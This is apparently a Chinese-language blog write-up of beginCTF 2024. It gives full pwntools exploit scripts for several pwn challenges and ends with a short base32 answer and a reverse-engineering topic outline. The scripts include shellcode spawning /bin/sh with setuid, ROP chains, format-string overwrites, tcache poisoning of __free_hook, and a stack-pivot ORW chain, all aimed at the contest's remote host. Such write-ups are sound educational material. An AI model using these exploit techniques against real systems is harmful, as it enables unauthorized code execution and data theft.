nyyyddddn

beginctf2024_wp

2024/02/06

pwn

one_byte

刚刚好能覆盖返回地址一个字节,看了一下返回地址是一个libc的地址,29dxx,把29dxx附件的汇编看了一遍,没有很直接的输出函数,或者是跳转到输出函数的汇编,。那这时候的思路是把一个字节爆破一遍,把有输出的字节全部记录下来,最后发现在 \x89那回到了main函数,把下一位flag输出出来了

1
2
.text:0000000000029D89 48 8B 44 24 08                mov     rax, [rsp+98h+var_90]
.text:0000000000029D8E FF D0 call rax

mov rax [rsp + 8] 刚刚好取到了main函数的起始地址,然后由于输出flag是根据rbp 加一个偏移去取flag字符的地址,重新call flag的时候 rbp更新,刚刚好取到下边,太巧妙了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 1

IP = "101.32.220.189"
PORT = 32371

elf = context.binary = ELF('./one_byte')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()


# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()
# g(p)
payload = b'a' * 0x11 + b'\x89'
flag = b''
for i in range(70):
try:

sa("Are you satisfied with the result?\n",payload)
ru("gift: ")
flag += r(1)
except:
pass


print(flag)

p.interactive()

unhappy

确实是unhappy,想了半天,限制了h用不了64位的寄存器,卡在写binsh那一步了,在想有什么方法可以写寄存器高三十二位,后面发现,能不能再syscall一次read,这样就能绕过前面的cmp了

爆破 哪些指令不能用的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 1

IP = "101.32.220.189"
PORT = 32371

elf = context.binary = ELF('./unhappy')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()


# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


bytecodes = [bytes([i]) for i in range(256)]
disablebytecode = [bytes([i]) for i in b"happyHAPPY"]

result = []

for k in range(1,4):

for i in itertools.product(bytecodes, repeat = k):
s = b""
for j in range(len(i)):
if(i[j] not in disablebytecode):
s = b""
break
s += i[j]
if s != b"":
result.append(s)

print(len(result))

with open("disable.txt","w") as f:
for i in result:
l = disasm(i)
f.write(l + '\n')

exp 远程打过去,flag要root权限才能读,Unhappy文件的属主是root,查了一下有一个叫setuid的系统调用能修改子进程的权限

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 32227

elf = context.binary = ELF('./unhappy')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



p = connect()

shellcode = asm('''
xor eax,eax
xor edi,edi
syscall
''')
s(shellcode)


shellcode = asm('nop') * 0x7
shellcode += asm('''
mov rax,105
mov rdi,0
syscall
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
''')

s(shellcode)

# print(shellcode)


# disablebytecode = "happyHAPPY"

# for i in shellcode:
# if chr(i) in disablebytecode:
# print("######")
# print(chr(i),end="")


p.interactive()

gift_rop

看了一下,是静态链接的程序,那就是ret2syscall了,有rdi rsi rdx的gadget,也有binsh,fd 1 2关了,但是可以重定向0 ,cat flag>&0就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 32113

elf = context.binary = ELF('./gift_rop')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



p = connect()

rdi = 0x0000000000401f2f
rsi = 0x0000000000409f9e
rdx = 0x000000000047f20b # 0x000000000047f20b : pop rdx ; pop rbx ; ret
syscall = 0x0000000000401ce4
rax = 0x0000000000448077

binsh = 0x00000000004c50f0

ru("problem.\n")

payload = flat([
b'a' * (0x20 + 0x8),
rax,0x3b,rdi,binsh,rsi,0,rdx,0,0,syscall
])
s(payload)



p.interactive()

no_money

$禁用了,不能用%n$n这种方式去写数据,调试了一会,尝试了一些假设后发现,用大量的%p%p%p%n来模拟这个%n$n的效果是可行的,原来格式化字符串是这样解析的,学到了,远程的栈布局和本地有些小差别,需要注意一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-54h]
char buf[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Welcome to beginCTF again!");
puts("I'm sorry to tell you that We don't have the funds.");
puts("So I will not give you $.");
while ( 1 )
{
puts("Your payload:");
read(0, buf, 0x100uLL);
for ( i = 0; i <= 255; ++i )
{
if ( buf[i] == 36 )
exit(-1);
}
printf(buf);
check_target();
}
}
1
2
3
4
5
6
7
8
9
int check_target()
{
int result; // eax

result = target;
if ( target )
return system("/bin/sh");
return result;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 30144

elf = context.binary = ELF('./no_money')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



p = connect()

payload = b"%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"

sa("Your payload:\n",payload)
ru("-(nil)-")
ru("-(nil)-")
ru("-(nil)-")
elf_base = int(r(14),16) - (0x55769f50f277 - 0x55769f50e000)
success(hex(elf_base))
target = elf_base + 0x404C

# g(p)
payload = b"%p%p%p%p%p%p%p%p%p%p%p%nbbbbbbbb" + p64(target)
sa("Your payload:\n",payload)


p.interactive()

ezpwn

咱是笨蛋没有看到有个gift,一直在想怎么泄露libc的地址,%s,command和buf挨着,都初始化了一遍,后面发现有个gift,那直接把返回地址的低位改了,返回地址刚刚好也是一个elf的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 32610

elf = context.binary = ELF('./ezpwn')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def write_data_one_byte(idx,data):
sla("Input your choice.\n","1")
sla("Please input index.\n",str(idx))
sla("please input value\n",data)

def command(command):
sla("Input your choice.\n","2")
sa("Please input your echo command",command)



p = connect()

write_data_one_byte(0x220 + 0x8,chr(0x51) + chr(0x51))
sla("Input your choice.\n","4")



p.interactive()

zeheap

学了一天堆,调了大半天,终于出了。

首先是怎么绕过这个标记位 mark,可以发现除了free都会对这个标记位进行检查,在free那存在一个uaf,绕过这个标记位,可以通过 create(0) -> delete(0) ->create(1),这样list里面就有两个相同的地址,通过0去free,那就得到了一个tcache chunk,可以通过1去编辑 访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 creat()
{
int v0; // ebx
unsigned int v2; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-18h]

v3 = __readfsqword(0x28u);
puts("num:");
__isoc99_scanf("%d", &v2);
if ( v2 <= 0xF && !mark[v2] )
{
v0 = v2;
*((_QWORD *)&list + v0) = malloc(0x80uLL);
memset(*((void **)&list + (int)v2), 0, 0x80uLL);
mark[v2] = 1;
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("num:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF )
{
free(*((void **)&list + (int)v1));
mark[v1] = 0;
}
return __readfsqword(0x28u) ^ v2;
}

利用思路是2.32之前malloc malloc hook free hook还没有删除,在执行free之前会有这样的操作,malloc也是一样,去写malloc hook 或者free hook就能劫持控制流,具体怎么写,2.31 unsorted bin attack已经不可行了,但是可以改tcachebin的next为 malloc hook的地址,那分配的时候就会分配到malloc hook那,那怎么样才能知道malloc hook的地址呢,只有一个unsortedbin的时候 fd和bk都是指向main_arena,这个main_arena是一个libc相关的地址,首先把tcache填满,然后free掉一个堆块,这个堆块就是unsortedbin,通过uaf去 show unsortedbin中的数据去泄露libc的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 32131

elf = context.binary = ELF('./zeheap')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create(num):
sla("choose:\n","1")
sla("num:\n",str(num))

def edit(num,context):
sla("choose:\n","2")
sla("num:\n",str(num))
sa("read:\n",context)

def show(num):
sla("choose:\n","3")
sla("num:\n",str(num))

def delete(num):
sla("choose:\n","4")
sla("num:\n",str(num))


p = connect()


create(11)
delete(11)
create(12)
delete(11)
show(12)
r(8)
heap_base = u64(ru(b"\x00")[:-1].ljust(8,b'\x00')) - 0x10
success(hex(heap_base))
create(11)
# g(p)

for i in range(9):
create(i)

for i in range(8):
delete(i)

for i in range(7):
create(i)


create(9)

for i in range(7):
create(i)

for i in range(7):
delete(i)


delete(7)
show(9)

r(8)
libc_base = u64(ru(b"\x00")[:-1].ljust(8,b'\x00')) - (0x7fe5b65adbe0 - 0x7fe5b63c1000)
free_hook= libc_base + libc.sym['__free_hook']

success(hex(libc_base))
success(hex(free_hook))

create(0)
delete(6)

edit(0,p64(free_hook))
create(1)
create(2)


system = libc_base + libc.sym['system']

edit(2,p64(system))

payload = b"/bin/sh"

edit(1,payload)
# g(p)
delete(1)



p.interactive()

cat

去查询了一下 strcat 是在字符串结尾添加一个新字符串,strcpy是把字符串复制到一个新的位置,结尾会有\x00。这一题有canary,那思路是read buf的时候把canary的低位填充,这样通过strcat往后边写rop,然后再用strcpy把canary的低位补回去。后面发现有一个backdoor函数,不用打ret2libc了

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts("read:");
read(0, a1, 0x100uLL);
puts("read:");
read(0, a2, 0x100uLL);
vul(a1, a2);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall vul(const char *a1, const char *a2)
{
__int64 buf[2]; // [rsp+10h] [rbp-40h] BYREF
char dest[8]; // [rsp+20h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-28h]
char v6[8]; // [rsp+30h] [rbp-20h] BYREF
__int64 v7; // [rsp+38h] [rbp-18h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
buf[0] = 0LL;
buf[1] = 0LL;
*(_QWORD *)dest = 0LL;
v5 = 0LL;
*(_QWORD *)v6 = 0LL;
v7 = 0LL;
puts("read:");
read(0, buf, 0x100uLL);
strcat(dest, a1);
strcpy(v6, a2);
return v8 - __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 31147

elf = context.binary = ELF('./cat')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

cat_flag = 0x4011FE

p = connect()

payload = b"a" * 2
payload += p64(cat_flag)

sa("read:\n",payload)
sa("read:\n",b'a' * (0x20 - 8))

# g(p)
sa("read:\n",b'a' * (0x40 - 0x7))




p.interactive()

aladdin

第一次做 格式化字符串不在栈上的题目,发现只有任意地址写和任意地址读 和 栈上格式化字符串有些差别,但是可以找一个 双重指针 去写地址,这样问题就解决了

这个题目还有一个沙箱,把execve禁用了,我查了一下有一个叫execveat的系统调用,但是没有找到修改r8寄存器的gadget,就打orw了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [rsp+0h] [rbp-40h] BYREF
__int16 *v5; // [rsp+8h] [rbp-38h]
__int16 v6; // [rsp+10h] [rbp-30h] BYREF
char v7; // [rsp+12h] [rbp-2Eh]
char v8; // [rsp+13h] [rbp-2Dh]
int v9; // [rsp+14h] [rbp-2Ch]
__int16 v10; // [rsp+18h] [rbp-28h]
char v11; // [rsp+1Ah] [rbp-26h]
char v12; // [rsp+1Bh] [rbp-25h]
int v13; // [rsp+1Ch] [rbp-24h]
__int16 v14; // [rsp+20h] [rbp-20h]
char v15; // [rsp+22h] [rbp-1Eh]
char v16; // [rsp+23h] [rbp-1Dh]
int v17; // [rsp+24h] [rbp-1Ch]
__int16 v18; // [rsp+28h] [rbp-18h]
char v19; // [rsp+2Ah] [rbp-16h]
char v20; // [rsp+2Bh] [rbp-15h]
int v21; // [rsp+2Ch] [rbp-14h]
__int16 v22; // [rsp+30h] [rbp-10h]
char v23; // [rsp+32h] [rbp-Eh]
char v24; // [rsp+33h] [rbp-Dh]
int v25; // [rsp+34h] [rbp-Ch]
unsigned __int64 v26; // [rsp+38h] [rbp-8h]

v26 = __readfsqword(0x28u);
v6 = 32;
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 21;
v11 = 1;
v12 = 0;
v13 = 59;
v14 = 53;
v15 = 1;
v16 = 0;
v17 = 0;
v18 = 6;
v19 = 0;
v20 = 0;
v21 = 327680;
v22 = 6;
v23 = 0;
v24 = 0;
v25 = 2147418112;
v4 = 5;
v5 = &v6;
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(22, 2LL, &v4);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Aladdin's lamp will grant you three wishes");
while ( --chance )
{
printf("your %d wish:\n", (unsigned int)chance);
memset(wish, 0, sizeof(wish));
read(0, wish, 0x100uLL);
if ( strstr(wish, "one more wish") )
{
puts("no way!");
break;
}
printf(wish);
}
printf("The wonderful lamp is broken");
return 0;
}

思路是 找一个双重指针去写 printf函数的返回地址实现 没有次数限制的格式化字符串 还有劫持控制流,然后用格式化字符串把rbp和rbp + 8 修改成 wish和 leave ret的地址,在read的时候把orw的rop链写到wish里面,然后栈迁移过去打orw

远程环境栈布局有些不同,36 - 51 这个指针 远程要改成36 - 52

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 30727

elf = context.binary = ELF('./aladdin')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()


payload = "%7$p-%35$p-%17$p" # stack_addr libc_addr elf_addr
sla("wish:\n",payload)

stack_addr = int(r(14),16)
ru("-")
libc_base = int(r(14),16) - (0x7f089c229e40 - 0x7f089c200000)
ru("-")
elf_base = int(r(14),16) - (0x555555555229 - 0x555555554000)
wish = elf_base + 0x4060

success(f"stack_addr ->{hex(stack_addr)}")
success(f"libc_base ->{hex(libc_base)}")
success(f"elf_base ->{hex(elf_base)}")
success(f"chance_addr ->{hex(wish)}")


printf_return_addr = stack_addr - (0x7fffffffe190 - 0x7fffffffe178)
rbp_addr = printf_return_addr + (0x7ffd5abd41d0 - 0x7ffd5abd4188)
ret_addr = rbp_addr + 8

success(f"printf_return_addr ->{hex(printf_return_addr)}")
success(f"rbp_addr ->{hex(rbp_addr)}")
success(f"ret_addr ->{hex(ret_addr)}")


# 36 0x7fffffffe270 —▸ 0x7fffffffe2e8 —▸ 0x7fffffffe5d4 ◂— 'SHELL=/bin/bash'
# 51 0x7fffffffe2e8 —▸ 0x7fffffffe5d4 ◂— 'SHELL=/bin/bash'

payload = "%" + str(printf_return_addr & 0xffff) + "c%36$hn"
sa("wish:\n",payload)


# 11:0088│ 0x7fffa79926c0 —▸ 0x7fffa7992798 —▸ 0x7fffa79935bb ◂— '/home/lhj/Desktop/beginctf/aladdin/aladdin' %22$p
# 2c:0160│ r12 0x7fffa7992798 —▸ 0x7fffa79935bb ◂— '/home/lhj/Desktop/beginctf/aladdin/aladdin' %49$p


wish = wish - 8
wish += 0x10

# 修改rbp的值为wish的地址,一次写两个字节
payload = "%" + str(0x66) + "c%52$hhn"
payload += "%" + str((rbp_addr & 0xffff) - 0x66) + "c%22$hn"
rl()
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str((wish & 0xffff) - 0x66 - 4) + "c%49$hn"
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str((rbp_addr & 0xffff) + 2 - 0x66 - 4) + "c%22$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str(((wish >> 16) & 0xffff) - 0x66 - 4) + "c%49$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str((rbp_addr & 0xffff) + 4 - 0x66 - 4) + "c%22$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str(((wish >> 32) & 0xffff) - 0x66 - 4) + "c%49$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

leave_ret = libc_base + 0x000000000004da83

# 修改 rbp + 8 为 libc中的leave ret
payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str((ret_addr & 0xffff) - 0x66 - 4) + "c%22$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str(((leave_ret) & 0xffff) - 0x66 - 4) + "c%49$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str((ret_addr & 0xffff) + 2 - 0x66 - 4) + "c%22$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str(((leave_ret >> 16) & 0xffff) - 0x66 - 4) + "c%49$hn"
# ru("AAAA")
time.sleep(1.5)
# g(p)
s(payload)


# 布置新栈 打rop

open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']

rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx = libc_base + 0x00000000000796a2


payload = b"%" + str(0xf8).encode() + b"c%52$hhn"
payload = payload.ljust(0x10,b"a")


payload += flat([
rdi,0,rsi,wish,rdx,0xf,read,
rdi,wish,rsi,0,open,
rdi,3,rsi,wish,rdx,0x30,read,
rdi,1,rsi,wish,rdx,0x30,write
])



# ru("AAAA")
# g(p)
time.sleep(1.5)
s(payload)
time.sleep(1.5)
s(b'./flag\x00\x00')

p.interactive()

misc

real check in

看出现的字符范围,一看就是base32

1
MJSWO2LOPNLUKTCDJ5GWKX3UN5PUEM2HNFXEGVCGL4ZDAMRUL5EDAUDFL5MU6VK7O5UUYMK7GEYWWZK7NE3X2===
1
begin{WELCOMe_to_B3GinCTF_2024_H0Pe_YOU_wiL1_11ke_i7}

Forensics

逆向工程(reverse)入门指南

https://blog.csdn.net/weixin_43605586/article/details/102925973

全选粘贴 得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
beginctf_reverse入门
指南
可执行文件
EXE
脱壳 
手动
ESP定律
内存镜像法
在程序入口的附近都有一个很大的jmp
工具
反调试 
调用系统IsDebuggerPresent等系统API
调用PEB结构体中的成员
TLS回调函数
SEH结构体异常化
枚举进程名称等其他方式
创建线程循环校验
根据代码执行时间判断是否被调试
混淆
花指令 Nop掉
Ollvm
deflat.py脚本
ida d810插件
虚拟化保护 仔细分析程序各个处理块、还原出原本的伪汇编
指令
SMC,自修改代码:指在程序运行过程中会对程
序自身的代码段进行解密或更改,使静态分析无
法直接获取程序的执行信息。可以用idapython进
行脚本patch还原解密过程
双进程 通过创建子进程并进行进程间通信实现反调试和
加解密的操作 完成解密后dump进程内存
win32程序 windows窗口创建找winproc函数、分析各类信息
的处理块
ELF
反调试 利用ptrace进行反调试
花指令 识别并nop
fork 父子进程通信
安卓
静态分析
java层 使用jadx反汇编smail代码 静态分析
native层
native 使用ida分析.so文件中的代码
观察是否有 JNI_Onload 动态注册函数
动态反调试
调用系统函数
父进程ID检测
如果不可以调试
修改程序流程即可
java层 修改.smail中的字节码 并重新打包
native层 对.so文件进行patch 并替换原的.so文件
安卓加壳
使用反射大师进行脱壳
利用xposed框架或者frida框架进行hook
不可执行文件
非x86汇编语言
unicorn模拟执行
qemu模拟执行
python字节码
pycdc
uncompyle
AST 语法树
其它语言源码
非c语言编译程序
rust 有符号看符号,没符号动调看逻辑
c# dnspy反编译,de4dot反混淆
go
ida新版本支持恢复符号,旧版本ida找go恢复符
号的插件,注意64位go语言的调用约定与c不一

e语言 ida插件
c++ 静态分析加动态调试分析类结构还原程序逻辑
lua
字节码魔改
字节码反编译
分析方法
静态分析
熟悉程序的加载流程
不同的编译器会有不同的变化:start-
>init_array->main->fini_array或者start-
>initterm->tlscallback->main->cexit
函数调用约定
cdecl
stdcall
fastcall
thiscall
各种程序的主函数位置
命令行:main
窗口:winproc
go: main_main
